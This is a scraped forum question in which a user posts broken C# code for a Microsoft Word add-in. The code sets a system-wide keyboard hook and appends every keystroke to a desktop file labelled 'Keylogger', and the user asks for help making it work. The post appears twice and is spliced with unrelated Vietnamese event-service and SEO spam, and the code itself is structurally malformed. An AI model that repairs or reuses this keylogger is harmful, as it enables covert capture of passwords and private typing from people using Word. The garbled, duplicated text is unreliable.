Where is my mistake and why the code doesn’t work as expected? [closed]

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;

namespace WORDproject
{
    public partial class ThisAddIn
    {
        private static IntPtr hookId = IntPtr.Zero;
        private static readonly string myFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Myfiles.txt");

        private LowLevelKeyboardProc keyboardProcess;
        private static IntPtr ptrHook;
        private EventHandler Shutdown;

        public static string MyFile => myFile;

        private event KeyEventHandler KeyUp;
        private event KeyEventHandler KeyDown;

        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
            EnsureMyFilesExists(myFile);

            KeyDown += new KeyEventHandler(ThisAddIn_KeyDown);
            KeyUp += new KeyEventHandler(ThisAddIn_KeyUp);

            Hook();
        }

        private void ThisAddIn_Shutdown(object sender, EventArgs e)
        {
            UnHook();
        }

        private void ThisAddIn_KeyDown(object sender, KeyEventArgs e)
        {
            LogKey(e.KeyCode);
        }

        private void ThisAddIn_KeyUp(object sender, KeyEventArgs e)
        {
            LogKey(e.KeyCode);
        }
    }
}
public struct KBDLLHOOKSTRUCT
{
    public uint vkCode;
    public uint scanCode;
    public uint flags;
    public uint time;
    public IntPtr dwExtraInfo;
}

private class KeyHelper
{
    public const int WM_KEYDOWN = 0x100;
    public const int WM_KEYUP = 0x101;
    public const int WM_SYSKEYDOWN = 0x104;
    public const int WM_SYSKEYUP = 0x105;
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, int wParam, IntPtr iParam);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);

public void Hook()
{
    ProcessModule processModule = Process.GetCurrentProcess().MainModule;
    keyboardProcess = new LowLevelKeyboardProc(CaptureKey);
    ptrHook = SetWindowsHookEx(13, keyboardProcess, GetModuleHandle(processModule.ModuleName), 0);

    if (ptrHook == IntPtr.Zero)
    {
        MessageBox.Show("Failed to install hook.");
    }
}

public void UnHook()
{
    UnhookWindowsHookEx(ptrHook);
}

private IntPtr CaptureKey(int nCode, int wParam, IntPtr iParam)
{
    if (nCode < 0) return CallNextHookEx(ptrHook, nCode, wParam, iParam);

    KBDLLHOOKSTRUCT keyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(iParam, typeof(KBDLLHOOKSTRUCT));
    KeyEventArgs eventArgs = new KeyEventArgs((Keys)keyInfo.vkCode);

    if ((wParam == KeyHelper.WM_KEYDOWN || wParam == KeyHelper.WM_SYSKEYDOWN) && KeyDown != null)
    {
        KeyDown(this, eventArgs);
    }
    else if ((wParam == KeyHelper.WM_KEYUP || wParam == KeyHelper.WM_SYSKEYUP) && KeyUp != null)
    {
        KeyUp(this, eventArgs);
    }

    LogKey((Keys)keyInfo.vkCode);

    if (eventArgs.Handled)
        return (IntPtr)1;

    return CallNextHookEx(ptrHook, nCode, wParam, iParam);
}

private void LogKey(Keys key)
{
    try
    {
        using (StreamWriter sw = File.AppendText(myFile))
        {
            sw.WriteLine($"{DateTime.Now}: {key}");
        }
    }
    catch (Exception ex)
    {
        MessageBox.Show($"Error logging key: {ex.Message}");
    }
}
        private static void EnsureMyFilesExists(string filePath)
        {
            try
            {
                if (!File.Exists(filePath))
                {
                    using (StreamWriter sw = File.CreateText(filePath))
                    {
                        sw.WriteLine("Keylogger");
                    }

                    Process.Start("notepad.exe", filePath);
                    MessageBox.Show($"File created at {filePath}");
                }
                else
                {
                    MessageBox.Show($"File already exists at {filePath}");
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Error creating file: {ex.Message}");
            }
        }

        private void InternalStartup()
        {
            ThisAddIn_Startup(null, null);
            Shutdown += new EventHandler(ThisAddIn_Shutdown);
        }

I tried to create a keyboard hook with C#. I started with this idea!

Create a file (Myfiles.txt) where the logs will be stored -> create a process for the hook -> check to see if the txt file exists -> store the keyloggers in the file.

The provided code doesn’t work. I want to make it work and start recording the keystrokes and take them to the log file Myfile.txt. Can you give me some ideas to make this code run? I think the problems might be in the

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);

New contributor

Jonathan Clark is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

2

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa

Where is my mistake and why the code doesn’t work as expected? [closed]

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;

namespace WORDproject
{
    public partial class ThisAddIn
    {
        private static IntPtr hookId = IntPtr.Zero;
        private static readonly string myFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Myfiles.txt");

        private LowLevelKeyboardProc keyboardProcess;
        private static IntPtr ptrHook;
        private EventHandler Shutdown;

        public static string MyFile => myFile;

        private event KeyEventHandler KeyUp;
        private event KeyEventHandler KeyDown;

        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
            EnsureMyFilesExists(myFile);

            KeyDown += new KeyEventHandler(ThisAddIn_KeyDown);
            KeyUp += new KeyEventHandler(ThisAddIn_KeyUp);

            Hook();
        }

        private void ThisAddIn_Shutdown(object sender, EventArgs e)
        {
            UnHook();
        }

        private void ThisAddIn_KeyDown(object sender, KeyEventArgs e)
        {
            LogKey(e.KeyCode);
        }

        private void ThisAddIn_KeyUp(object sender, KeyEventArgs e)
        {
            LogKey(e.KeyCode);
        }
    }
}
public struct KBDLLHOOKSTRUCT
{
    public uint vkCode;
    public uint scanCode;
    public uint flags;
    public uint time;
    public IntPtr dwExtraInfo;
}

private class KeyHelper
{
    public const int WM_KEYDOWN = 0x100;
    public const int WM_KEYUP = 0x101;
    public const int WM_SYSKEYDOWN = 0x104;
    public const int WM_SYSKEYUP = 0x105;
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, int wParam, IntPtr iParam);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);

public void Hook()
{
    ProcessModule processModule = Process.GetCurrentProcess().MainModule;
    keyboardProcess = new LowLevelKeyboardProc(CaptureKey);
    ptrHook = SetWindowsHookEx(13, keyboardProcess, GetModuleHandle(processModule.ModuleName), 0);

    if (ptrHook == IntPtr.Zero)
    {
        MessageBox.Show("Failed to install hook.");
    }
}

public void UnHook()
{
    UnhookWindowsHookEx(ptrHook);
}

private IntPtr CaptureKey(int nCode, int wParam, IntPtr iParam)
{
    if (nCode < 0) return CallNextHookEx(ptrHook, nCode, wParam, iParam);

    KBDLLHOOKSTRUCT keyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(iParam, typeof(KBDLLHOOKSTRUCT));
    KeyEventArgs eventArgs = new KeyEventArgs((Keys)keyInfo.vkCode);

    if ((wParam == KeyHelper.WM_KEYDOWN || wParam == KeyHelper.WM_SYSKEYDOWN) && KeyDown != null)
    {
        KeyDown(this, eventArgs);
    }
    else if ((wParam == KeyHelper.WM_KEYUP || wParam == KeyHelper.WM_SYSKEYUP) && KeyUp != null)
    {
        KeyUp(this, eventArgs);
    }

    LogKey((Keys)keyInfo.vkCode);

    if (eventArgs.Handled)
        return (IntPtr)1;

    return CallNextHookEx(ptrHook, nCode, wParam, iParam);
}

private void LogKey(Keys key)
{
    try
    {
        using (StreamWriter sw = File.AppendText(myFile))
        {
            sw.WriteLine($"{DateTime.Now}: {key}");
        }
    }
    catch (Exception ex)
    {
        MessageBox.Show($"Error logging key: {ex.Message}");
    }
}
        private static void EnsureMyFilesExists(string filePath)
        {
            try
            {
                if (!File.Exists(filePath))
                {
                    using (StreamWriter sw = File.CreateText(filePath))
                    {
                        sw.WriteLine("Keylogger");
                    }

                    Process.Start("notepad.exe", filePath);
                    MessageBox.Show($"File created at {filePath}");
                }
                else
                {
                    MessageBox.Show($"File already exists at {filePath}");
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Error creating file: {ex.Message}");
            }
        }

        private void InternalStartup()
        {
            ThisAddIn_Startup(null, null);
            Shutdown += new EventHandler(ThisAddIn_Shutdown);
        }

I tried to create a keyboard hook with C#. I started with this idea!

Create a file (Myfiles.txt) where the logs will be stored -> create a process for the hook -> check to see if the txt file exists -> store the keyloggers in the file.

The provided code doesn’t work. I want to make it work and start recording the keystrokes and take them to the log file Myfile.txt. Can you give me some ideas to make this code run? I think the problems might be in the

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);

New contributor

Jonathan Clark is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

2

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa
Thiết kế website Thiết kế website Thiết kế website Cách kháng tài khoản quảng cáo Mua bán Fanpage Facebook Dịch vụ SEO Tổ chức sinh nhật